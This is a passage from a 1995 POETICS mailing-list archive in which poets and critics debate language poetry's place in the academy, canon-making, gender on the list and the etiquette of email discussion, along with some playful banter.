Condolences? Soldarity? Maybe those are appropriate, but don't direct them to "me," it's my "name" and "identity" that have been usurped, and I've already lost title to 'em. There was a guy last year on the Derrida list, for instance, who copied messages, including mine, and posted them on other lists. Or something--I never got it straight, and found the whole business bemusing.

Not to say I don't care. I do! But I realize now I haven't any idea what it means to be a writer--to share my words when all I have to offer ARE words, with only a name to guarantee my propietary interest, and only a social mechanism (often bewildering, if not oppressive) to guarantee reception. Until I get THAT straight, I think I'll stick to being a grad student, which I find much easier.

E-mail is an extreme instance, for sure, but it HAS made explicit how in public discourse, at the most extreme edges, where all we have are words, dialogue in the ethical sense is impossible. There is no "face to face," only an economic relation, free and not-so-free exchange of thoughts, feelings, bodily fluids (from the body without organs), echoes, ventriloquism, plays within plays.

"Ben Friedlander" may be my "personal_name," but I could just as well type "Benji," "worm," even "B. Cass Clarke." And obviously, ANYONE could type those names. Identity, especially on the 'net, is just another subject line, easily appropriated, misused, a cover for something snuck in illegitimately, sometimes out of sloppiness or ignorance, sometimes in bad faith. The only limits set for this appropriation are structural (a hacker's power far supercedes a parodist's)

and legal (cf. the alt.sex.stories pornographer who got arrested for using a classmate's name).

And then again, while these issues all pertain in the so-called real world, e-mail is different. I have no idea what the "real" ramifications of that difference are, but being (like you) a Dickhead (as in Philip K.) I assume they're bad.

I would probably be more upset if my name or identity had been used more maliciously--that has to be said too.

But thanks for passing the junk along,

Yours "in the analogy,"
Ben

(in lieu of flowers, donations may be made to the Institute of Further Studies at [redacted]) - Cass Clarke

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376. B. Cass Clarke
(no subject)
Wed 22 Feb 1995

From: UBVMS::V080G6J3 "B. Cass Clarke" 22-FEB-1995 19:49:57.28
To: IN%"[redacted]"
CC: V080G6J3
Subj: legislators

Dear Cris and Eric

Thank you both for your backchannel and public response.

You remember the line from Shelley - poets are the unacknowledged legislators - on that level poets have been warring with commerce, as well as philosophers, critics, historians etc., since an attempt at a definition of poetry's value, use and purpose came up for defense.

I said "post-romantic" because it is within that tradition that this "defense" occurs, from medieval forward - i.e. a *belief* that the poet performs a job that cannot be relegated to the other arts. This includes the long tradition of invisibilities, knowledges that are not contained by philos., mathematics, etc.

That post romanticism is not recognized as valid has to do with the trend of treating any practise which includes some notion of power not material, as disreputable and exposed by the advent of deconstruction. For the act of poeisis depends upon a maker, an author. These days to be a singular identity is to be phallocentric, anti-multicultural, etc.

Unfortunately the prime requirement of making is thrown out because of its patriarchal associations. We have not yet seen how poetry will recover, but there are many workers out there who are bleeding tears trying. Including so-called language poets.

The "correct line" is not the one I'm drawing. But here in Buffalo, there are many strings being pulled. Most of the posters to this list are naturally caught up in the politics of the situation and it is national. They want jobs. Academic jobs. Here, if you're not with the lang-po project, it's not happening. Witness major poet hirings nationally and you get language critics, language poets. They control who gets brought in, who gets read, who gets studied - i.e. the remaking of the *canon*. So the fight, if there is one has to do with who will rewrite history? Those poets who have academic jobs from the prior wave, Creeley, Dorn, Blaser, - I'm speaking of the Black Mt. here, for example, we can insert our favorites here, have understandably left the arena to the youn and will be replaced by the next *hot* language poet. I can think of others who were never part of the academic, Kyger, DiPrima, Grenier, Thorpe, Sanders, yes I have my favorites too, and many whose work I don't know, as I'm sure you can, who continue to teach and labor without the same visibility afforded a tenured professor with good small press (or large) commitments.

It will always be this way, it ever has been. I fall on the side of Mental War is Combat for the Angel, conducted by individuals armed with theory, philosophy, history, criticism, hell why not some architech- tonic too? This chick is old-fashioned that way, and no puritan mean streak will put me on the sidelines with the wallflowers.

As to the legislators, someone must take the initiative. As to this list, it was Bernstein, I believe, who took the initiative and has, as far as I can tell, been courageous in his efforts to keep the lines open, and encourage all comers. His kind of equanimity is becoming rare in this time of fear.

With regard,

Cass

B. Cass Clarke
[redacted]

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377. **B. Cass Clarke**
flushing the quarry
Wed 22 Feb 1995

Dear Sis, dear cous,

Those dogs may scare the fox. Perhaps you should have kept them muzzled until you had her treed.

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378. Marjorie Perloff
Re: POETICS Digest - 21 Feb 1995 to 22 Feb 1995
Thu 23 Feb 1995

Well, OK, to respond to Alan and Gary:

I'm not satisfied with such a simplistic gender explanation either, so let me just speak for myself. Gary says it's disigenuous of me to say I don't have time when I do have time to write books. To which one could say: well, yes, but if I spent much time on the e-net, I wouldn't. But more seriously: writing articles/ books is one thing: you work, you revise, you research and you don't let anything out of the house that you haven't thought through. Conversation with students is a second thing--and I adore it--and that's face to face and really fun. But for me too much of what comes through this poetics group is just throw-away, personal little bits and it doesn't quite seem like a "conver- sation." I suppose it does when I know the person as I know Alan who is a good friend but not when it's someone I don't know. So: this is just a gut reaction to (1) having been excited when this net began and loving to read the messages, and (2) now feeling every day a sense of oh-my-god here are 25 messages on the Poetics net to plow through and 90% is just not interesting to me. I'm not saying it's anyone's fault, but perhaps there would be a better way to organize it so that private conversations between A and B wouldn't just bounce back and forth and be left unresolved. Marjorie Perloff

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379. Mn Center For Book Arts
Re: Quote
Thu 23 Feb 1995

Regarding Adorno, as Eric Pape says, as a pessimist not a cynic, not giving up the "ever more problematic possibility of Utopia."

Can't one be a non-cynic, in fact can't one even be an optimist (but my that is harder every day) without believing in Utopia. Even Thomas More had his problems with Utopia, creating one which was patently unlivable, and putting its articulation in the utterings of Raphael Hythloday, a character whose name etymologically (and loosely, I believe) may be translated as "bringer of health/babbler of nonsense." Equivocal at the least.

charles alexander

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380. George Bowering
Oz
Thu 23 Feb 1995

I am just back from a week in Melbourne. Poetry scene there seems to be dominated by a group calling themselves the A=R=I=T=H=M=E=T=R=I=C=K Poets. Claim to be reconstructed Social Creditors who bombard magazines with "funny money" and ragged verses. I went to a gala reading, but forgot my calculator, and could not follow the poems very well.

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381. George Bowering
Hokey Pokey
Thu 23 Feb 1995

I want to know more about that Hokey Pokey ice cream. Unfortunately, they didnt hav any at thre Aukland air port. Can you get a big tub of it and put your left leg in, and shake it all about?

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382. Michael Boughn
making the bed
Thu 23 Feb 1995

Dear Cass:

I was thinking about your recent post, and about Jack this a.m. as I made the bed. About "the human", partly because I have to teach Foucault and Derrida tonight to a group of undergraduates, partly because I was trying to come up with a name for what Jack so generously offered those lucky enough to work with him. And, for me anyway, "human" is it. This, I guess, is one of those key sites where I find myself at odds with those Euro-guys. I mean the notion that the human is over. When, from an "Ohio" point of view (I guess you could read "Emerson" here), the problem is we have yet to realize the human, except in very rare cases.

Best,
Mike
[redacted]

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383. **Ron Silliman**
Marketing and infiltration
Thu 23 Feb 1995

> really, how entrenched is an L-P writing method in the university?
> Could we come up with a location matchup and some market data? L-P
>infiltration appears to have been sucessfully implemented in Buffalo,
UC San Diego, San Francisco State, Brown, Sonoma, Simon Frazer, Albany
(no), Toronto?, Montreal?, and say 20 more campuses for good measure
versus the rest of the colleges and universities who offer writing
programs. That's about 30 LPs versus ____ . Can anyone fill in the
blank?

Well, there are slightly over 260 programs in the US (plus whatever more in Canada, which has a population somewhere between California and Texas), and I might be inclined to add Penn, UC Santa Cruz, Wayne State, University of Alabama and a few other schools, but really what constitutes "infiltration"? I think that virtually ALL of the New American Poetry branches, not just langpo, acquire a significant amount of their weight and moral authority precisely by virtue of their being a literature of the urban writing scenes rather than of the campus. And of the 40 poets in In the American Tree, only 5 or 6 (depending on whether Fanny Howe has tenure at UCSD, which I'm not clear on) have ever had tenure. Of those, one is retired (Bromige) and another (Andrews) has tenure in political science.

I wonder how Paul Hoover feels at (1) being asked to stand as the incon for langpo in the NY Times and (2) being described there basically as an unintelligible man w/ tenure, which his school (Columbia College in Chicago) does not even offer?? or Leslie (a lurker here, I believe) likewise, who has been so clear for so many years that her relationship to the basic langpo traits has been that of friendly critic and whose summer job at Bard similarly cannot count as that major tenured job alluded to?

The value of the NY Times piece seems to me to come precisely from its wrong-headedness. I.e., the NY Times is willing to put forward an index of how out of it the journal really is.

One further thought: Larry Bensky on KPFA the other morning (talking up the series on the first 100 days of the republican administration that he's doing w/ Juliane Malveaux on the Pacifica Radio Network) virtually mapped to the Apex of the M argument in saying that, to paraphrase, "Newt Gingrich's band of republicans are like Language Poets. They talk about government out of context and in that denatured light, everyone can imagine it as Other, as alien, rather than as the collective expression of the will of the people."

Sigh.

Ron Silliman
[redacted]

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384. Bill Luoma
Re: Finally, boy talk
Thu 23 Feb 1995

Shiva,

You make a good point about (not) generalizing about ALL women. Another implicit assumption seems to be that when one says man or woman on this list, one means hetero man & woman. I don't want to generalize, but I do want to speak.

And we seem to be talking here; this list seems more speechlike than any other discourse I'm familiar with, a cocktail party as nada said. And speech is the wonderful land of generalizations, big ideas expressed in a few words.

How should we speak about gender and biology? Binary is right out. How many genders are there?

trying to wave with more than two hands,
bluoma

↑ Index

385. Gary Sullivan
To Cass, Marjorie, Ron, Charles
Thu 23 Feb 1995

Rather than post multiple messages...

Cass, thank you for that last post. You know John Thorpe's work? I grew up in California, lived in the Bay Area 10 years, not once did I hear Thorpe's name mentioned, read anything anyone had to say about him. I move out here to Minneapolis-St. Paul, no longer have a scene to rely on to suggest "what to read"--voila! I discover Thorpe's books in used bookstores. _Exogeny_, _The Cargo Cult_, _Five Aces & Independence_, then Spencer Selby graciously gives me his copy of _Matter_. He's become one of my favorite living poets (I assume he's still alive), have learned much from his work. No one writes about him these days, maybe never wrote about him. He didn't make it easy for the critics. No cliff note manifestos, not even anything (so far as I know) about other poets, never wrote a book review, even. The fact that he was (again, so far as I know) unaffiliated didn't help, I'm sure.

Other interesting discoveries made only after I moved out of the bay area: Well, the second most important for me was Philip Whalen. I discover, lately, that Scalapino at least wrote about the guy, a short treatment of his work that wound up in her Potes & Poets book of criticism. Thanks, Leslie. I literally never heard his name mentioned, nor did I see any of his work, until I moved out here.

"New Hope for the Disappeared" Ron? Nice that you'd write about Ceravolo when you did, I thought your piece on his work in _The New Sentence_ was swell. But, what's the common thread among these poets who's work we have to *hunt* for? They didn't go public with their manifestos, theoretical insights, etc. Thorpe is obviously a brilliant thinker: you couldn't write _Five Aces_ "off the cuff"; obviously a *lot* of thought & planning went into that book. Why haven't we any critics willing to write about it? Is it simply easier to take a poet who *has* said a few public words about his/her writing and write about him/her?

That, Marjorie, was the feeling I got, reading your _Radical Artifice_. I thought the book was good, but was surprised that, in a book that had, as subtitle, "Poetry Writing in the Age of Media" that you not once mentioned Bern Porter, who I imagine was, if not the first, certainly one of the first American poets to use & address--not exclusively, but close--the media in his work. My suspicion was that you'd never heard of Porter--quite likely as most of his books were self-published. (As opposed to paying, say, Station Hill to publish 'em.) No distribution, save Bookslinger (found a mountain of his books there). SPD doesn't carry 'em. What you say in your last post about wanting or enoying only carrying on discussions with people you know suggests the possible reason so much of _Radical Artifice_ seemed to be about Sun & Moon authors-you are, after all, on their Advisory Board. It seems to me, if you're talking to the same people all the time to the exclusion of people you don't know, you'll perhaps bring a very limited body of work to your critical writing. If I'd not've moved out of the bay area, would I ever have discovered John Thorpe? I'm admittedly a very impressionable person and moving out here was great for me as it forced me to do my own hunting around for poetry, etc.

Charles, thanks for the footnote re: Raphael Hythloday. More's wonderful. I'm sorry I missed Lazer's lecture & reading, and the lunch at your house. I've been sick with the flu, only starting to recouperate. I hope it all went well.

Maybe it's just because I'm new to this, but I really appreciate getting loads of e-mail, especially when they include names of poets I've not heard of before, or composers, & addresses as to where one might find this stuff. Thanks to Mark Nowak for much of that. I also *enjoy* some of the more "personal" posts--thank both Kali and Sheila E. for theirs, especially, as well as Cass's. I think it's great that the language poets have been receiving whatever recognition they've

received, but I do think that, undoubtedly unintentionally, a lot of other work's being lost or forgotten in the process. As lineages are mapped out & recognized (you all realize the Loft, here in MPLS-STPL, is a terribly conservative writing institution, but that when it did make a single nod to "exploratory" poetries decided to do a class on language writing, as though that's "all she wrote") unaffiliateds & those who never made public the ideas & concerns that went into the "creative" work *except* in the creative work, are being forgotten, erased. I'll leave you all with something from Mina Loy. It's somewhat self-righteous, but appropriate enough:

SHOW ME A SAINT WHO SUFFERED

Show me a saint who suffered in humility;
I will show you one and again another
who suffered more and in deeper humility
than he.

I who have lived among many of the unfortunate
claim that of the martyr to have been
a satisfactory career, his agony
being well-advertised.

Is not the sacrifice of security to renown
conventional for the heroic?
The common tragedy is to have suffered
without having "appeared."

PS: Ron, I guess it was a drag not to've been mentioned in Dinitia Smith's _Times_ article under the grouping of language poets (none of whom were, of course, language poets). Now you know how I felt when I picked up a copy of your _N/O_ and saw that you'd forgotten to acknowledge _Stifled Yawn_ as one of the magazines who'd published some of that work (the first 4 pages of "NON" as you'll recall). Sigh, indeed.

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

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386. **RSILLIMA**

Poetry, Media, Funding

Thu 23 Feb 1995

I noticed that the House committee on appropriations voted to cut CPB and NPR by 15 percent this year, 30 next, much smaller cuts than they anticipated

from this particularly hostile committee. I'd expect to see the same for the Endowments. A hopeful sign.

On the less hopeful side, I quote from a discussion of "The English Poetry Full-Text Database," a 4-CD set that includes, says the author, the complete life works of roughly 1,250 poets. Of this, says the author,

"But who are they all? How many poets could you list off the cuff? I sat down for half an hour, scratched my brain [nice mixed metaphor there--RS], and got as far as a lousy fifty-five."

This from page 102 of the Feb 20/27 double issue of the New Yorker, by Anthony Lane. Maybe he studied with Dinitia Smith.

Obviously, in NYC's "mainstream" media when it comes to the knowledge-base for reporting on the topic of verse, less is more.

It does make for tidier narratives. Which may be how Mark Strand made 4 separate lists in the Times, including "best-looking males."

Ron Silliman
[redacted]

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387. **Gary Sullivan**
More in re: Radical Artifice
Thu 23 Feb 1995

Marjorie:

Other missing material from _Radical Artifice_:

Daniel Davidson's book _Product_, published by e.g. press in 1991. Anyone who has read both your _RA_ and _Product_ can tell you why it should've been included. A full-frontal assault on advertising/P.R., the most successful I've ever read, which is why my wife & I published it. Probably you never heard about the book because, when my wife (Marta Deike) and I took over the press in 1989, it was something of the laughingstock of the west coast language writing scene, though its original editor, David Highsmith had published a book of David Bromige's and Todd Baron's. He also published (the unmittegated gall!) a lot of people who weren't in that particular scene.

e.g. was so thoroughly detested by language writers that Todd Baron took the manuscript he'd had published through e.g. (_Partials_) and got O Books to publish it--without acknowledging that e.g. had been the original publisher. I assume the fact that the people in your general circle think so poorly of the press is why none of them bothered to tell you about Dan's book--even despite

the fact that Dan is very much a "language" writer (see his work in Ganick's anthology). I'll send a copy of __Product_ if you like; just let me know.

Also missing, of course, is the work David Ossman's done: especially his _How Time Flies_. As pointed as anything in _The Baffler_ re: the entertainment industry, and recorded in 1973. Why you chose to write about Lyn Hejinian's _My Life_ in the context of "Writing Poetry in the Age of Media" to the neglect of these other things is precisely what has me questioning your motivation, as well as your sources for information.

Someone just mentioned that Charles Bernstein's to be thanked for setting this list up, and for keeping it open to any & all, including loudmouthed, opinionated malcontents like myself (& a few others). Yes. Lovely thing this; one can question people, challenge them, and have it somewhat public, "on record." Much better than a magazine, as, you write something negative about language poetry for, say, Rod Smith's magazine, it gets rejected. (I'm referring to Alan Davies' uneven, but certainly provocative, "Peer Pleasure," which has been passed around among poets since having been rejected by _Aerial_.)

Charles? When I first read the piece you wrote for Bernadette Mayer's _Utopia_, I thought you disingenuous, given the sometimes exclusionary tactics of (at least) the west coast language poets & affiliateds. You of course know, and probably better than I do, how Johanna Drucker was treated by 'em. At any rate, I no longer think that; am really glad you've made this space available. This is truly "reader response."

Finally.

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

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388. James Sherry

Re: Alan Golding's queryPOETICS Digest - 20 Feb 1995 to 21 Feb 19

Thu 23 Feb 1995

Marjorie and Kali and B. Cass and other women speaking up on this subject may have more in common with Alan Golding, Tom Mandel, and other men than they do with each other on any of a variety of subjects. Being a woman does not insure agreement anymore than men agree. The women's movement sought agreement or at least support along gender lines, but doesn't even within this narrow group appear to hold when personal identity and aesthitic issues are raised. Poets dont agree, men don't agree, women don't agree and neither does

anyone else. We are all tender in parts and I hope will persevere even if we don't agree. James

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389. **Jeffrey Timmons**
Re: Quote
Thu 23 Feb 1995

Yes, yes, yes, I agree. You're right. I hope that I suggested as much, if not I stand corrected.

Jeffrey Timmons

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390. **James Sherry**
Re: POETICS Digest - 21 Feb 1995 to 22 Feb 1995
Thu 23 Feb 1995

Marjorie and others in this loop: I have had several conversations recently regarding control on the listserv. On the one hand we don't want to tell anyone what to say; clearly censorship is not a good idea. On the other hand there are a lot of personal discussions made public and "exhibitionists" contrast with "lurkers" vying for the same mental space.

Based on backchannel discussions with some other people I would make two recommendations based on my own difficulties and others concurrence with these difficulties, not the least of which is Marjorie's complaint. Perhaps these will form the basis of discussion.

1. Perhaps Loss can subdivide the list into two parts. Part one can be for listings of events, newsletters, and exchanges of bibliographical information. Part two can be a discussion list where people can express their individual views collectively. 2. Without making any rules, perhaps people could keep personal notes and conspiritorial exchanges to the back channel. I don't want to point any fingers here, but there are a lot of short notes thatdon't really add to the discussion and are also directed at only one other person. That constitutes back channel material to me. This would solve what many of us feel are messages which "clog up" our bulletin board. Obviously personal exchanges can be used to "inform" the group. This trope which is developing nicely is an effective, but not particularly attractive technique. That's the kind of thing we might consider doing without, but it has to be applied by each individual and might be considered acceptable under conditions which each individual anywhere on the spectrum from "lurker" to "exhibitor" has to judge for themselves.

These two changes might make it easier to go through the list and to find what we each want to look at without having to wade through 40 or more messages over a weekend. I'd appreciate discussion on these matters.

James

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391. Tony Green
Re: Finally, boy talk
Thu 23 Feb 1995

" braman sandra" was saying" I for one intend to keeping waving my arms in as ma ways as possible . . . . Sandra Braman" Keep on waving. Your information in the past few months has been really interesting. My attempt to send you a post at your e-mail address a couple of weeks back to this effect didn't work (?my incompetence).

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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392. Tony Green
Re: Arrow and Sparrow
Thu 23 Feb 1995

Even "dialogue within Them Selves' work will produce the intimate inter-relation articulate".

Comment: In so far as "I" is constructing itself in an "imaginary", yes [or, okey-dokey]. But that takes us into a Lacanian vocabulary that may be going too far too soon for those who do not recognise the inter-subjectivity of writing enough to begin to admit it as a base for theory. POINT TAKEN. Thank you for bringing it up.

being to articulate inter-subjectivity I (Timid "The issue which has been mentioned several times here is that of voicing, reading out loud - which seems crucial to this discussion. It makes a useful bridge (I'm always up for building 'em) to issues of composition and to oral - improvisatory traditions and innovative oral - improvisatory 'practice' (surely it's always practice, however

'accomplished it gets - that's its edge which admits process - is process an institution?)"

Comment: Oral emission, but not necessarily composed by "internal" speech-like thinkings, i.e.improvisatory irruptions. Aural reception, -- but like John Geraets was saying, deaf people may well read poems --, would be more appropriately thought of as aural "imagination". Without a lot of caution over this, I'd be bothered by locking poetry into varieties of opsycho-babble from the old surrealist depths, and disallowing the constructed "language" based rather than "speech" based poetries to which Lang-Po was much attached in the 70's and 80's (or so it seemed to me, and as I thought usefully).

Best

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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393. **Stephen Ratcliffe**
Re: Language Poetry
Thu 23 Feb 1995

I started to look of NYTimes page on poetlore, saw waht they was up to w/ their pantheo(n)s, including now so-called LP, and turned off the lite. Will I find time to return to it?

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394. **Tony Green**
Re: Hokey Pokey
Thu 23 Feb 1995

"I want to know more about that Hokey Pokey ice cream. Unfortunately, they didnt hav any at thre Aukland air port. Can you get a big tub of it and put your left leg in, and shake it all about?"

Dear George, You can get it at most dairies in New Zealand. And if you want total immersion, no worries, just microwave twenty containers-full for three minutes each, cool it, then hop in the tub. Next time you're through way give me a buzz on 373599 x8981 and we cd do lunch + ice-cream.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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395. **cris cheek**

Arrows and Sparrows

Thu 23 Feb 1995

Hi Tony, yes I realise I'm treading a fine line when it comes to the dances of tongues in a mouth. I'm all for the 'oral emission' of extremely un-speech-like constructed language and the speech-like things (Burroughs is one of the great vaudeville vocal performers). I'd love to hear P. Inman read. Tom Raworth is the most energising and compelling reader here on this port off the pond. Many of the lang'shan-po are strong readers. I'd bring other aural imaginative strategies such as Jackson MacLow and Hannah Weiner and very very much enjoy what Carla Harryman and Steve Benson have done and are doing in terms of memory and improvisation in performance. I'd bring Michael Smith with his dub song-poem 'My cyaan believe it', Jean Binta Breeze, Linton Kwesi Johnson - many many more across into the music more direct Tribe Called Quest 'When the Papes Come'. I'd bring Schwitters' 'Ur Sonata' and Ernst Jandl and Chopin and Cobbing and the 4 Horsemen of the Apocalypse and many others - Jerry Rothenberg performing Frank Mitchell's 'Horse Songs'. All of these people (it's only a tip off a scratch) work with aural / oral invention and imagination. All of this work is constructed - 'language under pressure'. As to 'the old surrealist depths' I remember jotting down a quote of Margaret Thatcher's "I will delve deeply into the surface of things" - seems to take care of that. She should have recorded 'Feelings' it would have been sincere.

Any thoughts ?

cris

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396. **cris cheek**
e-ager posters
Thu 23 Feb 1995

Hi Marjorie, it's just yet another rejoinder to your post about post. Suffice to say, and many would testify, I have down several years been the most non-existent correspondent almost anybody could have wished for. My letters barely ever crossed a mat. BUT

I like e-mail and am pretty active with it. I find when I sit down to write letters I feel that I'm engaging in an old-school type 'proper' 'literary' activity. The sort of thing that might one day be published by some trust. I value the transitory aspect of this. Don't you find that conversation is full of 'throw-away, personal little bits'? One minute you're humming with excitement of discovery through detailed exchange - the next boiling a kettle for a cup of tea (sorry that's very Anglo-centric of me I know)? But the drift is clear. E-mail feels more like post cards might have done to me, if I'd ever posted the ones that I bought. Letters always felt like serious writing whereas I find this space as Tom Mandel described it to be 'a pleasant whirlwind' in which a variety of agendas appear to circle and sample each other with some variety of speeds of address and attention. The cafe, the bar, the club, the coffee break at the conference, the chance encounter between the supermarket shelves, the heated discussion in the corner shop, the after hours philosophising and more all seems to breand here. I'm curious - it's seems full of new potential. It feels like a localised conversation of distances. I'm trying to keep myself open to change through the process. And I'm probably giving it as much time as I should have given to writing letters in the past. But I get a lot more post and get to meet people I might never otherwise have known. What's the problem?

feel it needs devaluing because . . . ?

cris

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397. **Mark Roberts**
Re: Oz
Thu 23 Feb 1995

> *I am just back from a week in Melbourne. Poetry scene there seems to be dominated by a group calling themselves the A=R=I=T=H=M=E=T=R=I=C=K Poets. Claim to be reconstructed Social Creditors who bombard magazines with "funny money" and ragged verses. I went to a gala reading, but forgot my calculator, and could not follow the poems very well.*

Melbourne can be like that.

Mark Roberts
Australian Writing On Line

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398. **Mark Roberts**
Re: Hokey Pokey
Thu 23 Feb 1995

> *I want to know more about that Hokey Pokey ice cream. Unfortunately, they didnt hav any at thre Aukland air port.*
> *Can you get a big tub of it and put your left leg in, and shake it all about?*

No but I'll email you a tub... Hope it doesn't melt on your hard disk

Mark Roberts
Australian Writing On Line

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399. **Ann Louise Vickery**
Re: Boy Talk
Thu 23 Feb 1995

Delurking /Delousing/Coming Clean

Having only joined the poetics list a short time ago, I have followed the gender trouble (let's get out of the old binaries of boys vs girls at least) discussion with great interest. It seems that the concurrent discussion on the relationship between theory and practice would be more interesting if it passed beyond rather than below the abstract limbo stick to speak in terms of greater specificity-which aspects of practice have been institutionalized, which aspects are still excluded from the academies, can this be linked to trends in pedagogic practice such as the teaching of certain theories over others or how they are taught in relation to poetry. I have appreciated the comments of Kali Tal (hello Kali!) as well as all the other women who have contextualized gender problems on poetics list from their own perspective.

At this point, I would like to "delurk" and try to articulate my own politics of location. I am a Melbournian doctoral student (with no affiliation with A=R=I=T=M=E=T=R=I=C=K and who has eaten lanolin-free Hokey Pokey icecream and lived to tell the tale) who is researching ways in which contemporary poetry contributes to feminist cultural practice. I also teach a course on postmodernism which has such items as the Hoover anthology and Laurie Anderson on its syllabus. I am interested in the challenge that the

internet offers both in terms of poetic community formation and discursive horizons.

It is not surprising that the net creates its own disciplinization and exclusion effects; rather we should be asking how these can be changed. Although statistics are the fool's creditcard, my information was that women make up only 5% of the population who use the net. So the poetics list is obviously attracting women to enter its space. The question then arises as to which women and how they engage with the net both as a medium and as a practice. Being Australian, I am speaking on the margins as a not-so-dutiful daughter to the many on the list who are or have been associated with Language poetry in one way or another. Yet, as part of the university, access to the list was easier for me than it is for many Australian women who are interested in contemporary poetry and poetics but who feel isolated. The net is one way in which such isolation can be dissolved.

From my Asian-Pacific position, I cannot contribute to matters of US funding and I feel that much of what is discussed on the poetics list has a localized politics of which I am uninformed. However, I feel that such a connection is invaluable-whether taken up in more active ways or not(my lurking is not necessarily passive and can be tactical). I am therefore content to "listen in on" than query much of what goes on in the list. That's all I'll say for now if not just for another voice and two cents in the debate.

Thanks,

Ann Vickery

P.S. Given that most ocker slang derives from a cockney origin, perhaps it is fitting that our convict past has furnished us with the world's first musical icecream.

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400. David McAleavey
community request
Thu 23 Feb 1995

I'm grateful to Ron Silliman for propelling me to this list back in December. I've lurked, feeling peripheral, but have a request I'd like your help with.

One story about the value of poetry says that its meaning is like the meaning of money: not an intrinsic value, only a value of exchange. The greater the community-building involved, the more valuable the poetry which is the basis of that exchange. I learned this idea in fact from Ron, though my formulation is not his, I don't think.

I'd like to consider this idea, now, more seriously, and am hoping that some of you will have suggestions for me of things to read, problems to grapple with, other issues.

The context for my question is that I'm interested in doing a nearly-sociological study of how poetry is actually used (in the specimen case of the Washington DC area, though I'd hope with relevance to other physical communities). There's an anxiety I suppose everybody writing poetry has grappled with, about the value to others of the enterprise, and it seems to me that if there were some new ways of talking about the varied applications and, I guess you could say, "community-significances" of the poems themselves it might be useful.

So I'm pretty shamelessly asking for help, asking to pick your brains on this.

Since so few of you know me at all either in person or by name, I should say by way of intro that, having done a PhD dissertation (1975) on Oppen's poetry, I am teaching, and have been since 1974, at George Washington University in DC.

A postscript: I've broken silence finally because the gender issues being raised, as well as the issues of time and focus raised by Marjorie Perloff and others, seem to focus on the status of this list too as a community, and I thought perhaps you might all be already really thinking of this subject.

Thanks -- David McAleavey

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401. Tom Mandel
Re: e-ager posters
Thu 23 Feb 1995

Sometimes you just go through deleting everything that isn't by someone whom you feel you must read in each address, and that's just the way it is. It is not necessary to digest completely what's on a listserv to get something out of it and to find it possible to give something to it. Other times, less often to be sure, one reads each post carefully - that's the way you want to spend your time that time.

I don't think there's anything to do, either, about people getting excited and dashing off fuzzy paragraphs to each other. My sense is that imposing an order of division or of personal discipline will not change anything.

It is true that the number of posts is daunting, especially if god forbid you take off 3-4 days. I do wish, but there's nothing to do to make it so, that people would think thru

what they are about to say; if it really doesn't amount
to much, it's always possible to wait for another day.

Tom Mandel

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402. Mn Center For Book Arts

Re: Poetry, Media, but I don't want to talk about Funding right now

Thu 23 Feb 1995

Everyone who has commented on this list about the NY Times Magazine article on poetry by Dinitia Smith has laughed at or otherwise critized the treatment of language poetry, and the choices used to represent it. I agree entirely, but I must admit that the article made me consider that its treatment of other issues in poetry, such as cronyism, awards to friends, control by Academy of American Poets, etc., a treatment with which I might find myself in agreement, must have been equally ridiculous. I don't know if I applaud Stephen for "turning off the lite" and not reading it, or if I think there was a curious delight in reading something so totally ludicrous.

As to James Sherry's suggestion about dividing into two lists, I'm not so sure. I have responded and become involved in conversations where posts seemed private. I also would wonder about decisions as to an "a" and a "b" list. I greatly value the growing divergence of views, particularly as represented in "boy talk" posts and in Gary Sullivan's energetic, thoughtful, and informative posts, some of which are directed personally at Marjorie or Charles or Mark or me or others (Thanks, Gary, for information on John Thorpe, whose work I don't know, and for making my picture of "e.g." more clear). I have found value in many of your posts, James, which were ostensibly responses to specific individuals and addressed to them as such. I liked the characterization of this floating conversation nexus as Cris Cheek put it -- "I find this space as Tom Mandel described it to be 'a pleasant whirlwind' in which a variety of agendas appear to circle and sample each other with some variety of speeds of address and attention. The cafe, the bar, the club, the coffee break at the conference, the chance encounter between the supermarket shelves, the heated discussion in the corner shop, the after hours philosophising and more all seems to breand here. I'm curious - it's seems full of new potential. It feels like a localised conversation of distances."

Let's keep the whilrwind moving. If there was a division into two areas, I could see a value in one part being posts of conferences, lists of available books, and no conversation whatsoever, and the other being the conversations, no matter how widely or narrowly directed, no matter how central or tangential they seem to the list as a whole.

all best,

charles alexander

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403. **Sheila Murphy**
Re: POETICS Digest - 21 Feb 1...
Thu 23 Feb 1995

I agree with James about dividing the list into two categories, and it would appear that category #2 (discussions of issues) will simply require the sort of judgment which several people are urging that people use in the present list. A matter of consideration for others. Let's go with the plan.

Sheila Murphy

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404. **George Bowering**
Re: Hokey Pokey
Fri 24 Feb 1995

Okey dokey!

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405. **George Bowering**
Siva Brahman
Fri 24 Feb 1995

Last time I saw Sandra Brahman she was moving her left arm and her right arm and her left arm and her right arm and her left arm and her right arm all about.

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406. **George Bowering**
Re: Quote
Fri 24 Feb 1995

The way I heard it was

After Auschwitz there can be no poetry.

gb

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407. George Bowering
Re: Tapeworm puts poetry village on the map
Fri 24 Feb 1995

That's no news about the giant tapeworm fopund in Buffalo; Benji has been, to literary people, known for years. Chas Bernstein raised benji since he was a pup, and a truer pet was never known. Charles even brought Benji to a conference in Calgary 2 years ago, and it is no easy thing to being a half-grown tapeworm across the canadian border. The poets converged in Calgary took to Benji, and fed him; in fact they vied for the opportunity to feed him. Benji is particularly fond of Lacanian case histories.

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408. George Bowering
Lang Po?
Fri 24 Feb 1995

This scribe called Lang Po that I occasionally hear about here---is he perhaps related to Li Po ?

Li Po, as many know, drank some, and in fact drowned while reaching into a stream for the reflection of a basketball.

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409. Marisa A Januzzi
Mina Loy, Djuna Barnes, separate bodies
Fri 24 Feb 1995

Hello "everyone"--

